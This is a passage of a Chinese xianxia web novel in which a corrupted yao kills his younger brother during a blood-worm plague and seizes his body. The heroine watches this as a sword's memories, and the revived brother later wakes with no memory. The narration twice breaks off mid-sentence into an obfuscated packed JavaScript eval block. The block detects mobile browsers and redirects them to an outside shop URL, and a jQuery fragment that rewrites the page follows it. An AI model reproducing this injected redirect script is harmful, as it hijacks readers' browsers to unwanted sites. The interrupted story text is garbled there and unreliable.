“对啊对啊,”小丫头也跟着哥哥附和起来,“人里面有好有坏,遇到坏人,我们就要相信他们会有恶报。遇到我们这样的好人,就会来安慰你,保护你。所以哥哥不要难过了,有我们呢。” 小丫头说得激动,声音不再糯糯,反而颇有气力。 “恶人有恶报……” 少七喃喃。 有好有坏…… 人是如此。 妖也是如此。 会有凶狠残暴的人,也会有性子暴戾的妖。 会有元元之民,也会有善良醇厚的妖。 万物总有两面,就像白天与黑夜,也像光芒与影子。 阴阳两极,黑白相称,相生而相克,是卦象里的天地阳阴,是自古以来埋在自然生长和历史轨迹里的本源。 从一开始,人和妖就都错了,他们忘了本,越了矩。 起初妖闯入人的地界争夺领地和资源,人怀恨于心,妖觉得理所当然。可这一份恶和错都只是、仅仅是那一批的妖族,人的恨却转向给了所有的妖。 五百年,修真门派崛起,妖族落魄,妖怀恨于心,人却觉得理所当然。可这一份的怨的报复都只是、仅仅是那一批的人,妖的恨却转向给了所有的人。 恶相循坏,愈演愈烈。 人越来越恨,忌惮力量,害怕历史再度重演;妖越来越恨,说人心险恶,害怕历史再度重演。 晴夜里忽起一阵凉风,吹动少七耳畔发丝如缕,吹动他心神的摇晃,似波浪之上颠簸着的帆船。莫之莫觉之间,他的眼眶已经红了一圈。 他恨,爹娘的仇,哥哥们的仇,他没有资格替他们忘记。但他不敢继续被所谓的人妖立场蒙蔽心神,因为他知道,恶有恶报,真正的恶人应该得到真正的报复,而不是让同样被人妖立场蒙蔽了视野的无辜者为他们的自私和残暴付出代价。 否则,历史只会走向极端。 因为,他不想自己变成那样活在阴谋之人手底下的玩偶,丧失心智,在无知中走向歧途,滥杀无辜。那样的话,他与当年杀害爹娘和哥哥们的人又有什么区别? 这不是泛滥的善良,这是天理,是天道。 天空忽然升腾起一片乌蒙蒙的雾,遮住明月,如天狗奔来,狼奔豕突,啃噬天月。 妖气席卷而来,带着令人窒息的死气,唤动人心的绝望。 是五哥的气息…… 是血疾的气息…… 瘟疫来了。 他竟没有料错。 95. 魂兮归来(3) “咦?怎么忽然起了这么大的雾?”妇人惊呼。不久之后,妇人的身影便没入了雾气里,再看不见。 浓雾遮天蔽日,扩散地极快,带着肃杀之气淹没村落,从上到下,从始到末,恨不得渗入泥土之中。 眼看着两只小囡也要被漆黑可怖的浓雾淹没,少七心呼不好。他眼疾手快,一手抱住一个孩子,脚尖飞跃,身轻如燕,转眼之间就不费吹灰之力跳跃到了浓雾还没有侵略过的一角屋檐上。 少七眉目坚毅,他身上染上了些许雾气,妖气再无法隐藏,直接被雾气里的妖气勾出,显现在他的瞳孔里,金眸在幽冥之中分外明亮,带着兽性,悬于黑雾之中。 小男孩和小丫头都被吓了一跳,两人异口同声,惊呼:“是妖!” 少七没有时间解释,他回眸对两个孩子好生交代道:“现在很危险,你们两个不要乱跑,我待会儿就回来。” 话了,少七便只身飞跃进了浓雾里,动作爽快灵巧,几乎没有掀起波澜,像锦鲤潜入了深水。 雾气里的天地隔绝了外界,凡是被黑雾淹没了的人们身上皆被腥红色的蠕虫爬遍了全身,钻入毛孔,吸食血液,越长越大,然后进一步啃噬几近爆体之人的被撕扯开来的烂肉,直抵心脏,简直是生不如死。 他们的哀嚎声响彻天际,无助,恐惧…… 少七不敢再看,他穿过横尸,焦急地寻找着妖气的源头,他的五哥就在那里。 很快,他看到了一双同样猩红色的东西悬在了空幽幽的半空之中,那不是血蠕,而是一双眼。带着同样的兽性,却可怖地如同地狱修罗。 “五……五哥……”少七看得寒毛直立,小时候落下的口吃的毛病忽然发作了起来。 他恐惧极了。 他不知道为什么他的五哥忽然变成了这样…… 少五好似拎着什么物什往少七的方向慢慢走来,那东西在黑雾里也显现着若隐若现的光泽。 “五哥……”少七又唤了一声,语气里带着说不清的忐忑不安。 那双悬于半空的血眼并没有任何反应,他似没有听见,也根本不可能给少七回应。 隔着雾气,少七并不能看清那东西的模样。可是待他看清的时候,自己却躲不开了。 少五竟是拎着一把浸满了血气的长剑,他忽地挥动起剑,直直刺入了少七的胸腔。 脏器破碎,淌出液体,热血滚烫,叫少七心中仅存的暖意都流失光了。 长剑刺入,穿过少七的躯体,还露出了半截长剑滴着血在少七背后。握剑之人于少七的距离得以缩短,少五的面目一笔一画都映入少七的眼帘,少七抽搐着身体,仰头,眼中落泪,好不容易才颤抖地说出了一句话:“五……哥,为……为什么?” 少五没有说话,他冷酷地将长剑从少七的躯体里拔出,在一度引地少七血流遍野。而没了支撑之后,少七也直直到在了地上,扬起的尘埃飞舞,再如落叶归根一般回归大地。 “好疼……” “为什么……” “为什么会这样……” 少七在最后一刻都没有想明白。 少七死了,魂归地府。 那两只小囡没有等来少七,他们被血蠕啃噬地仅剩下了一堆白骨。 少七死后,他的□□被杀死他的五哥抱起,少五径直离开了村落,村子里的冤魂之气被吸进浓雾,紧紧跟随在他的身后。随着他的身影渐渐远去,浓雾也逐渐散了去。 村落再度恢复平静。 灯火犹在,却尸横遍野,血腥之气直冲云天,血蠕吃饱喝足,肥硕无比,它们满地游走,带血前行。 此时画面忽止,风不再起,土不再舞,草不再动,云不再飘,一切的一切都被固定在这一刻。紧接着,黑夜里的天空与大地忽然颠倒,乾坤逆转,带着黑幕上的繁星,斗转了星河。 眼前的画面就这样好似被黑布遮掩了去,而久久被画面睽隔在外的萧喜忽然看到了自己的影子。 她原先被抹去了存在的身子重新归来,她的意识被拽回本体,再一次可以活动起了身体。 她眼眶湿热,泪水滴滴答答地落在了她的手背上,再顺着她的手腕和指节流入了手中之剑上凹陷的纹路。 血蠕……她一辈子都忘不掉的噩梦在方才真真实实地活在了她的眼前,所谓的梦境变成了现实的画面,萧喜她如何不怕? 等她周身再一次安静下来的时候,她也终于缓过神来,她感受到了手中之剑的力量。 原来她刚才看到的种种画面都是这把剑想让她看到的。 这些是这把剑的“记忆”。 但她还不明白为什么这把剑会忽然这么做,最开始,它告诉萧喜的信念是帮助它找到它的主人。可是当萧喜真正立身于剑的“记忆”里时,萧喜的动作却被这里的空间锁限制,她连动身都不行,怎么可能帮这把剑完成心愿? 难道时机还未成熟? 萧喜手心不禁紧了紧,她感觉到自己已经在此处耽搁了过多的时间,若是再这么下去,外面的朗月只怕撑不了多久。 就在此时,她手中的剑又忽然闪烁起了红光,闪地她看不清楚事物。 剑身震颤不止,和最初时一模一样。 萧喜又听到了熊熊烈火之声,蓬勃盎然。她周身被火光环绕,火焰飞速转动,俨然一只风火轮。 而萧喜再一次被抹去了存在,化作了燃在一团烛窝里的焰苗,被巨大的生物端起,由着他飞速地奔跑,在黑漆漆的时空长廊里划出一道道的流光,其中夹杂着数以万计的画面,伴着流光也飞快逝去,看起来光怪陆离。 起初在萧喜看来,这样的经历带给了她走马观花般的感受,再后来随着脚底下的晃动越来越剧烈,她便再也撑不下去,迷迷糊糊的晕了过去,什么感觉都没有了。 等到她再一次拥有意识时,身体再一次被束缚,她只能第二次成为悲剧的旁观者。 …… 这一次的画面在时间线上承接在刚才所看见的画面的后面,所距不过一个时辰。 在益阳村坊距离几里地开外的荒野里有一只废弃的义庄,义庄里许久未安放过尸体,里头空空荡荡,到处散发着陈腐木头的糜烂之气。 少五抱着少七的尸体走进了这座义庄,他从身上脱下一件外衣垫在了堆满尘土的桌案上,再将少七冰冷的躯体端端正正地摆在上面,少五这一系列的行为似是在别有用心地完成某种仪式。 少五眸中的腻腥之气半分不减,他定定地站在少七身边,微微弯着腰,歪了头盯着少七的面孔看,煞是诡异。 他伸出手抚摸着少七的面庞,炽热的手掌与寒凉的温度相撞,显得格外违和和突兀,少五却丝毫不在意这些,他的情绪反而愈来愈癫狂。 他本就因过多吸食怨气遭到了极重的反噬,黑影妖为他灌输了过多的气息后,他的心神早已不复从前,已经被怨气折腾地不似活物。方才一路上他又杀死了好几个村落的人,他们的怨气已经被他的身体吸入,此时仍在他的躯体里横冲直撞,彻底攻溃了他的理智。 所以对于现在的少五来说,杀死少七的事情不过只是动动手指的事情,再简单不过。尽管他知道被他刺入胸腔的人是他拼命护了十年的亲弟弟,他也绝不会容情,因为如今的少五眼里已经容不下任何活物了。 而今他的邪念在怨气的加持下,竟然越来越猖狂。 先前黑影妖的条件,他早就不愿意继续履行。但奈何那影妖活了得有上千上万年,凭他如今的力量完全不可能与之对抗。 所以他便另寻他法,譬如——另找一个人替了自己的位置。 因为,既然影妖可以叫他去顶替他的位置,那他少五何尝不能叫别人去顶替了自己的位置? 但奈何少五的时间越来越有限,他的身体因为过度滥用禁忌之术的缘故遭受了反噬,如今短时间内吸食的过多怨气无法与躯体融合,所以他的灵魂早已不适合呆在这副躯体里了。 脱离这幅躯体成了必要的一步,单单找人顶替了他的位置貌似远远不够。 他要完成入魂之术。 至于人选……少五知道,除了少七以外,没有旁人。因为在这世上活着的人里,唯有少七和少五血统一致,入魂之术少五也就只有作用在少七的身上才会起效。 可是,少五忽然想到,入魂之术只可作用到已死之人的身上。 少七若是死了……说不定那被封印的位置就空了? 届时,少五既可以换具躯体逃脱于此,少七也能早早魂归地府,莫受封印之苦,他何须多此一举找人来替封印? 毕竟,到头来那黑影妖还不是自己再被关回去? 少五想到此处,冷冷地歪了歪嘴角,露出了满意的笑容,这抹笑在夜色深幽、阴气袭人的屋子里,显得格外瘆人。 他将脸凑得更紧了一些,悄悄盯着少七紧闭的眸子,一边抚摸这少七的面庞,一边忘情似的说道:“少七,我的好弟弟……不要怪五哥,要怪就怪今晚你自己送上了门来……” 少五的话低沉无比,隐没在冷瑟的夜风里,是恶魔的低语,带着无情的嘲弄。 紧接着,少五直起身子,面无表情地立在原地,仿佛刚刚他从未做出那骇人的神情,也没有说过那些叫人毛骨悚然的话语,刚刚的一切,似从未发生。 他眸子垂着,高挺的躯体支撑着他的脑袋,垂下的眼神紧紧跟在少七僵冷的尸体上,有些俯瞰的意味。 少七忽然握起手中的长剑,月光透过残破的窗子跑进来,覆在寒凉的剑上,只是如今它的光泽不再银光流溢,上面停留着少七胸腔里的血液,血液不再具有温度,凝固在剑身之上,绵绵密密,拒绝着月光的好意。 阒然无声的屋子里传来汩汩流水之声,粘稠,抓着少五孤独的影子爬满了地面。 少七将剑插入了自己的胸膛,浑不留情,面色毫无波澜,他完全没有痛觉。 他以对待少七同样的方式将长剑拔出,血液喷薄,落在了少七毫无生机的苍白面孔上。他丢开了长剑,自己爬上了桌案,寻了一张草席将自己卷起,遮住了面庞,不久后就再也没有发出动静。 此时,少七的尸体忽然有了动作,原本僵直的尸体逐渐软化,骨骼也活络了起来。 躯体忽然坐起,它睁开了猩红色的眸子,蓄满了邪气。 少五身死,而他的魂魄已顺利地进入了少七的躯体里,占据了它的全部。 此时“焕然一新”的少七默默抬手抹去了脸上的血迹,然后扯了扯脖子,扭了过去,看见被草席紧紧裹缚着的尸体,他露出了狰狞的笑。 原本,少年还未长成,稚嫩的眉目、稍钝的下颚棱角带着不染风尘的灵气。 可如今,这副躯体被一个被怨气扭曲的灵魂占据,两个完全相反的本性以躯体和灵魂的方式相撞,散发着格格不入的怪异感,太过违和。 画面再度停滞,“少七”阴鸷的血色眸子也被定格在了一个方向,而方向所对正是萧喜所在之地。 萧喜下意识地咽了咽口水,却发现咽下的是满喉咙的寒气。诡异之起在她的心上盘旋不去,因为被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971292|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种眼神死死盯着的感觉十分不妙,她总是觉得自己就是对方下一刻要握紧长剑刺杀的对象。 她知道这一次的经历已经收尾,她的手脚已经可以随意活动,手心里的剑被她捏地紧实,手感真实地厉害,剑上留着她手心温热的汗气,粘腻之感也倍是真实。 萧喜经历了刚刚画面里的种种事情之后,她的心便闷地厉害,她不愿再看到少年眸子里煞气腾腾的眼神,她总觉得若是再多看那么一眼,心头的闷热就要迸发出暴雨来,拧出无数心酸的雨水。心境似变成了南方的七月雨季。 心里拧出来的雨水……到底还是泪吧。 萧喜转过身去,想要赶快收拾好满地狼藉的心绪,却感觉到了手里的长剑发出十分细微的剑鸣,起伏不定着,似人类的抽噎。 它在哭…… 等等! 萧喜忽然一个激灵,意识到自己精神上的疏忽。 若不是她刚刚因为那细微的剑鸣声,可能到现在,她都不会记起来要好好看看这柄剑的模样。起初,这柄剑被耀眼的红光包围,萧喜无法避开光芒,便没有看清它的模样,最多也只是觉得它的轮廓煞是熟悉,既像芍七的黑柄剑,又不像…… 再后来等到第一个画面结束之时,她好像被什么东西蛊惑了,再没能想到这桩事情来。之后不久,她就进入了第二个画面里来了…… 果然这里的所有事情都不简单,站在这里,意识就很可能再无形之中被某种力量牵引向前,很容易叫人迷失了自我。 幸好萧喜心思缜密,否则还不知道要被耍到什么时候你! 她凝神仔细看了看手中之剑的模样,和她之前再红光里瞧见轮廓时的感觉大差不差,这柄剑的的确确不是黑柄剑,但刚刚好好于之又有着五分相像。那另外五分呢……究竟像谁呢? 刚到苏府祠堂的院子里,纸人运剑的时候,夜色朦胧,她站在祠堂外头虽然没能看得真切,却也知道封印之剑大体的轮廓,绝不是她现在手里握住的剑的模样。 所以这柄剑也不是封印之剑。 既然谁也不是……而当初她引血符所要寻找的剑又是封印之剑,说明了其中必然有着关联。 那么,说不准,这柄剑身上另外的五分是来自于封印之剑呢? 剑的模样倒是其次。 萧喜顿了顿,因为她从没有忽视掉一个最重要的,而却被此处某种能够蛊惑人心的力量影响而差点被她忘记的事情。 她默默地转回了身,再一次对上了那双狰狞而阴森的血色瞳孔。 冷汗凛凛,她感到了无与伦比的冷,胜于冰窟,甚于深渊,甚于海底。 她不明白为什么芍七也会出现在这些画面里? 还是两百年前…… 芍七……这么说其实还是不对的,准确来说,她不明白的是为什么芍七的脸会长在这些画面里的一个叫做“少五”人脸上。 而少七的名字为何又与芍七相似?不,不止于此,他们都还有一个共同而鲜明的特点——从小就落下的口吃的毛病。 画面里,少五被怨气毁掉心智,竟然狠心杀害自己辛苦护了十多年的亲弟弟,只为自己完成入魂之术,逃避自己与黑影妖缔下的契约。 死去的少七获得了少五的魂魄,再度醒来,变成了另外一个人。 原本装着少五的那具身体变成了慢慢僵直、等待腐烂的尸体,再无灵魂光顾。 所以……所以,芍七呢?他又到底是谁?他是他自己?还是被谁重新装载了魂魄?是少七的魂魄?还是别的谁? 可是芍七不是剑灵么?画面里的少七是妖又是怎么回事?! 还有豫县……它与沧凌城有着千丝万缕的关联,黑影妖和少五口中常常念叨的封印难道也与沧凌城有着说不清的关系么?如今苏府祠堂里被封印着的东西也与他们一样有着相似的功法,擅用黑雾,两者封印术法之外同样罩着一张齐芒星阵……难道真如少五所言,里面封印着的还是那只影妖? 还有刹摩……万余年前…… 这些究竟是什么? 无数的疑问如同澎湃汹涌的大水将她冲进暗无天日的漩涡之中,摇摆,颠簸,头晕目眩,胸口闷气……萧喜只觉得自己快要不行了。 与此同时,它手中的剑再次震动起来,似是在发怒,似是在怨恨,对于萧喜擅自反抗它的意识,夺回思考和记忆的能力的事情,它颇为不满。 萧喜感觉地到它的震动异于寻常,她知道自己之所以感到这么难受是剑给她的惩罚,她也知道,这柄剑貌似十分不愿让她知道这些事情,很是逃避。 画面和猩红的眼被遮起,远去。整个天地再度暗下来,周围烧起火花,将萧喜拥堵在中间。 火轮呼哧呼哧地转起,速度不知比先前两次快了多少。 萧喜明白,下一场画面又要来了,她的身体再一次被束缚住,无法动弹。 手中之剑嗡嗡直颤,将强大的意志顺着萧喜的手臂灌入她的头脑——它要她尽快帮它找到它的主人。 它是在强调自己的意图,带着怨气,带着逼迫,完全不给萧喜反抗的余地。 这让萧喜苦不堪言,因为到目前为止,她还是毫无头绪,甚至谁是谁都没能搞得清楚,如何能找人? 而且她只要进入剑的记忆里,她的手脚就无法自由活动,身体都没有了存在的意义,唯有意识在画面的上空漂浮,说不准还要被蛊惑心智,抹除记忆……什么什么时机未成熟,去他的吧! 这剑的要求在如今的萧喜看来,简直就是无理取闹,毫无底线! 96. 魂兮归来(4) 画面出现—— 于此同时,一股猛烈的寒风朝四周肆无忌惮地卷过来,萧喜悬在空中的意识也为之颤了颤,真是冷煞了。 原来是下雪了,南方的雪总是留不长,落了地便化了,雪气包着化开的水覆在了土地之上,结出冰面,扎起冰凌。 第三次的画面同样是承接在上一幅画面之后的,刚刚巧巧隔了一个多月。 前面两次的画面完全没有向萧喜透露出半分关于季节的信息,也没有像第三次这样赋予萧喜真情实感的感知力。这是如此反常,萧喜总觉得这一次的画面里会发生些什么,比如……让她提前在画面里就放开手脚。 难道,这把剑要她找的主人就要现身了? 渐渐的,萧喜感觉到了自己的灵魂在徐徐往上飘,刚刚那股袭人的寒气愈渐模糊。 她第三次成为了画面的旁观者。 …… 视角转换。 画面将重心摆在了一只孤零零躺在荒野里的屋子,屋子的牌匾斜斜挂着,在寒风里颤颤巍巍,好似耄耋老人握不紧手杖的手。 这里并不陌生,正是上一个画面末尾出现的义庄。 按照画面所呈现的时间线来看,此时是少五完成入魂之术后四年多的时光,也是少七被哥哥杀死四年多后的时光。 天地相隔甚远,天上一天算作人间的一年,地府的一天则刚好算作人间的一天。 少七的魂魄在地府兜兜转转了一个多月,喝过了孟婆汤,忘却了前尘,他不知何去何从。不过其间貌似还遇到了什么,他记得自己行走在一座忘记了名字的山中密林里,身后跟着一只魂火,再后来遇上了一只巨大的还闪着金光的似是镜子一般的圆形之物,没多久他就被吸了进去。 天宫四日过去,人间地府已过四载。 再后来……他好像看到了自己回到了地府,排在人山人海的队伍中央,等待着鬼差的钦点。 再后来……遇到了八字胡……再后来…… 地府百转千回,通通散作烟尘。还魂井下,白光包裹着深渊,架起一轨通往人间的神奇通道,白光流溢,关于少七的过往再一遍泯落,一只新的名字被他赋予了另一种意义。 除此之外,他便再也记不得别的事情了,不,他还记得这只名字,叫做芍七。听起来……好像还有点怪。 这些年天气愈渐异常,四年后的冬日,更是寒气逼人。 这具曾被少五抛弃的躯体因为保留着入魂术的特性,所以还未腐烂,冬日里反而被冻得结结实实。 芍七本来的躯体被占有,跳入还魂井的他只好借着这具未腐烂的尸体重返人间。 得了魂魄的尸体逐渐软化,骨骼也不再不再僵硬,慢慢活络了起来。 他想要睁开眼睛,奈何眼皮子上生了太多的冰霜,他只好挣扎,动起眼珠子来更是费劲。 芍七不禁动了动手脚,发现自己被什么物件裹得严严实实,于是努力撑开了双臂,这才叫裹着身体的东西松下几分。 手掌刚好触碰到裹身的东西时,他颤了颤身体,似乎很是不敢相信。 因为他知道这是草席,他想象了一番自己目前的状态,脑中生出一个可怕的念头——莫非,他这是被当成了死人,被别人那草席裹起来了? 那此处——岂不是义庄? 想到此处,芍七是半点不愿等下去,直接掀开席子坐起身子,他迫不及待地拿手胡乱擦掉了眼皮上的霜气,想要一探究竟。 他以为看到自己确确实实躺在义庄里就已经足够令人乍舌了,却没有想到眼前的场面令他毛骨悚然。 这座废弃的义庄里远远不止他一个人,里面七七八八地横满了死状惨烈的尸体,数量之多,根本无法分清。 这些尸体绝大多数都被粗暴地丢在了地上,满了一地,有新的有旧的。旧的被蛆虫腐蚀地七零八落后被冻成了包着白骨的烂肉,但新的也好不到哪里去。 有些尸体没了地方安置就干脆堆在了下面的尸身上,横着趴的,竖着躺的,歪斜的,扭曲的……越下方,越底层的尸体们被死死地压在下面,肉被挤成了一滩迷糊的血肉,被粘在了地上,完全见不着面孔。 上头的尸体尚能见几分容貌,他们死得好像很痛苦,眼睛都不曾闭上,幽幽的瞳孔里牢牢地盯着什么东西,满是恐惧,神情都被定格在最痛苦的那一瞬间,那是生命终结时的最后一刻。 仔细看的话,还会发现他们的胸口大多凹陷了下去,肋骨凭空消失,留下的是乌紫色的深洞,似被什么可怕的东西恶意挖了肉去。 看着围着他的四面八方的尸山,芍七被吓地意识流失,心里头空空如也,好似也和那帮可怜人一样被挖去了心脏那块的肉。 义庄废弃已久,窗纸早被吹裂,外面的冷风夹着扎人的雪籽直往屋子里钻,刮过尸山血海,最后传到芍七的鼻尖。 再冷的天,也冻不住那股血气和稍稍腐烂的肉糜味道,他忍不住干呕了几声。寒气煞人,阴风瑟瑟,他扯开了草席,身上仅有一件单薄的亵衣,怎么可能耐得住? 与此同时,他的回神也让他想起来一件很令人后怕的事情——为什么他也会躺在这里? 难道他和这群死尸一样,胸口被啃噬得连肋骨都不剩了? 他默默咽了咽口水,颤抖着身体将目光移到自己身上,雪白色的亵衣上,一抹鲜艳的红色被冻结在他的胸腔之上,如此鲜明,放在冬日里,有着雪梅配冬雪般戳人眼窝子的视觉冲击感。 他身躯一震,莫名的恐惧席卷而来。他忍着寒气,掀起了衣裳,伸手进去探,摸到了肋骨和还算饱满的血肉之后,压在他喉咙里的那口气才一下子顺回来。 虽然没有摸到他想象里的东西,却摸到了一只异常清晰的伤口,刚刚好好扎在他左胸上头。这次,他干脆拿眼来看,发现这伤口虽然不疼,却异常地深,他伸手往后背上摸过去,刚好在前胸伤口所对的位置摸到了口子,这伤口居然深到将他的身体贯穿了去?! 乖乖,谁这么狠?!一般人早就死翘翘了,他居然还能再活过来!看来还是自己命好,别人所以为的一刀毙命轮到他这儿却失了效果,他之所以被丢进了义庄怕也是被人误会了自己早就死了吧。 不过,这刀口究竟是谁下的手呢?芍七陷入了沉思,半晌之后不仅啥都没想得起来,反而还饿了肚子。 哎……他朝着黑黢黢的天花板长叹一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982240|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心想可真是难过,失忆就算了,肚子还呱呱直叫。 他可不愿再“死”一次,于是赶忙下了桌案,扯了刚刚裹在自己身上的那张草席来御寒,歪歪扭扭避过了地上的尸山尸海,推开了门,踩着在风里摇摇摆摆的枯草出了门。 …… 走了约莫一个时辰后,除了一只横在他眼前的土垄以外,他还是什么都没看到。 撑着想要活下去的意念,他翻过了土垄,意外地看到了没在风雪里略显模糊的轮廓,那里好像是一只村落。 他的脚步不再虚浮,踩着雪风扎扎实实地朝前方飞速跑去。 可是,期待越大,失望便会有多大。这里的的确确是只村落,可是早已废弃,里头空无一人,死气沉沉的,阴气极重。 恍惚间,芍七好似看到无数只魂灵头在风雪中的村落里来回飘动,无论他们飘荡到哪里里,他们的目光都会死死地盯在他的身上,魂灵头们乌洞洞的眸子定怏怏地朝着他看,似有穿透身体的力度。 芍七被吓地厉害,连忙摇了摇头,再次看向周围时,哪里还有什么叫人心惊肉跳的鬼魂? 他朝村子走得更近了些,奇怪的感觉油然而生,就好像在不久前他也这样踏进过这只村落一般。 鬼使神差之间,他仰头看了看,一只牌匾挂在他的头顶之上—— “益、阳、村、坊……” 风雪迷人眼,他眯着眼,好不容易认出了牌匾上的字体,正好一个字一个字念出那四个字时,他就觉得心头上的节拍漏掉了一段。 他再一次感觉到了无数魂灵头的气息,此时他们出现在背后,死死地盯住他的脊梁骨,阴森的寒气密密麻麻地爬上他的背,爬上他的肩,扎进他锁骨两旁的肩窝里,直捣心脏。 这是……怨气…… 芍七捂住左胸,顶着背后如同刀子般的目光,他垂眸看到了自己的双手,不知是不是幻觉,他看到自己满手沾染鲜血,杀光了无数给村子的人,千千万万的尸身在这双手的见证下倒入血泊……他好似做了令这些怨气不可姑息的弥天大错。 “不……不是我!!!不是我干的!!!”他被折磨地厉害,一时丧失了理智,只好抓狂着在空旷的村落里放声大吼,满嗓子的绝望和无奈。 他双手抱头,泪水失禁,他觉得委屈,无法辩解的委屈,无法被原谅的畏惧。 雪风刮走了披在他身上的草席,留芍七孤身一人承受这无底洞般的悲凉和仇恨。 他再也受不了,双腿好似生了翅膀,朝前方飞跃而去,不一会儿就没了影子。 …… 不知走了多久多远的路,他才渐渐缓过神来,可是过度的□□和精神上的折磨已经压垮了他的所有,肚子空荡荡,脑袋神志不清,身上没有了遮挡物,他还能在这漫天飞雪里逃多久,又逃到哪里去? 他没了毅力,双腿软下来,颓然地在枯草地上蹒跚了两步,没了活人模样。他丧失了活下去的希望,渐渐闭上了眼,躯体没了气力后犹如一张薄薄的纸片人,雪风一刮便能将他刮到。最后,“砰嗵”一声响,就倒在了这前不着村后不着店的荒郊野岭里。 这一次,他想,他是真的,要彻彻底底地去了…… 97. 魂兮归来(5) 所有的活物在死后只会将躯体留在这人世间,而魂魄就会被鬼差勾走。听说鬼差来勾人的时候为了防止魂魄挣扎,便会剥夺魂魄的意识,让其乖乖的跟了鬼差们下了地府去。 可是……为什么他的意识还在游离不定?芍七想着想着,越来越觉得不对劲,如此便陷入了无限的循环,思考的范围被界定,兜兜转转了无数遍他还是在思考这个问题,以至于不知道过了多久。 渐渐的,他忽然感觉到自己的意识开始清晰起来,思绪不再被束缚,就连对外界的感知力也如数回来。 蓬勃的暖意烧在他的两只脸颊上,他感觉到了前所未有的舒坦和安心。慢慢的,他的神经也不再绷紧。他继续感受着这股暖意,将其作为意识觉醒的温床。 不久之后,他便醒了过来。 天已经暗下。 他发现自己刚刚感到的那股暖意全然来自于一只燃烧着干柴的火堆。 火堆霹雳巴拉地炸着火星子,升腾着梦幻的橙色焰火,照着一只单薄的人影。 芍七被吓了一跳,连忙坐直了身子,将目光朝火堆的对面探过去—— 一个身着白麻厚袄的女子端端正正地坐在那里,闭眼凝神着,她的面目被火光照地通红,但这却丝毫不影响她略显清冷的气质。她年纪不算大,看起来却没有同龄人那般灵动,反而显得过于安静,将她秀丽的眉目衬托地十分清淩干净。此时她的手里抱着一堆干柴,时不时地会往火堆子里填上一根。 芍七看着这副画面,不由发愣。 刚巧女子转过头来,打破了芍七的失神,说道:“你醒了?” “你……是……是何人?” 他有些紧张,口吃的毛病露出了马脚。 女子淡淡一笑,没有立刻回答芍七的问题,她默默地从身侧拿来一盘烤红薯过来,示意芍七端过去。 芍七自然不敢怠慢,连忙接了过去,红薯微焦的香味带着魔力,轻而易举地就将他肚子里的馋虫勾了出来。他再顾不上其他,抓起东西就狼吞虎咽了起来,吃得弹进弹出,不亦乐乎。 女子弯了弯唇角,回过头去,继续给火堆里添了一根柴,她静静地守着火光,说起话来:“我叫阿霖。今日我出门时听到了你倒在地上的声音,一时情急我便拜托了村子里的大叔将你背了回来。” “村子……那这里是哪个村子?”芍七顺着她的话说道。 “豫县的益山村坊,是个比较偏僻的地方。” 益山村坊的名字与那只恐怖诡异的村子“益阳村坊”格外相似,彼时益阳村坊给芍七留下的阴影还未散去,因而他一个没缓神就又被吓了一跳,口中粘腻的红薯便卡在了他的喉咙里,叫他难受地厉害,简直像要断了气。 阿霖无奈地摇了摇头,又朝他递来一只水袋,耐心提醒道:“你慢点吃,若是不够,我这里还有。” “多谢!”劫后余生的感觉太过奇妙,无形之间,芍七就放下了与阿霖这个陌生人之间相处时的芥蒂。 “你是哪里来逃难的人?叫什么名字?”阿霖耐心问道。 “逃难?什……什么难?”芍七吃得慌忙,也没心思琢磨问题,遇到不知道的干脆就随心说出口来。 “血疾。我听村子里的人说过这些年的豫县很不太平,四年前有地方生了种怪病,短时间就扩散地遍地都是。 后来的这么多年虽然没有再有那般惨烈的状况发生,但还是会有不少人死去,死相奇特,这种病症能叫人心滋生出一种名为血蠕的可怕东西,能够啃噬脏器、血肉,乃至肋骨……死者尸体胸腔常常有着一只凹陷地厉害的黑洞,似被挖空。” 说到这里,阿霖不自然地顿了顿,似乎在琢磨什么话,好顾及芍七的心情。 她慢慢道:“除了死去的很多村民,还有为数不多的像你这样运道好的,逃了一劫,常常去到各种偏僻的地方避难,就像我们这儿的益阳村坊。” “像……我一样?”芍七听罢,有些迟疑。 阿霖以为自己说错了话,毕竟大多数逃难者的精神情况都不堪设想,她生怕自己说的话里触及了芍七的伤处,叫他情绪崩溃。 她顿了顿,复小心翼翼地说道:“你不要担心,之前来这儿逃难的人都已经在村子里安置好了,你们不会再经历一遍那样的事情了。还有……我不善与人打交道,也没有照顾过人,所以哪里说的对不住你的地方还请见谅。” 芍七可算是明白了阿霖对他的看法,她这是把他当成了落难者了。可惜他失忆了,血疾什么的,他完全不知道。 不过事已至此,他也不好再多说什么,干脆就顺着对方的话,续道:“没事,你不用太小心。我……失忆了,之前的事情我都不记得了。不过幸好我还记着自己的名字,能答上你第二个问题,我叫芍七,还有……谢谢你救了我。” 年轻的女孩被他如此说赞了一番,立即羞赧了起来,只是别过脸去。动作匆忙之间,她手里怀抱着的柴火落了一地。 阿霖慌乱,看起来不知所措,她四下抓了抓,颇为狼狈。 芍七看出来她想把柴火重新捡回来,可是,她一直都闭着眼…… 难道,她的眼睛…… 他心中愕然,抿了抿唇瓣,说道:“还是我来帮你吧。” “啊……多谢。” 芍七很快就将那些零落在地的干柴拾起来,捧着送到了阿霖的怀里。 阿霖不好意思地埋下头,看起来好像不是很开心,只是解释道:“我是个瞎子,从小就看不见……你不要见怪。” 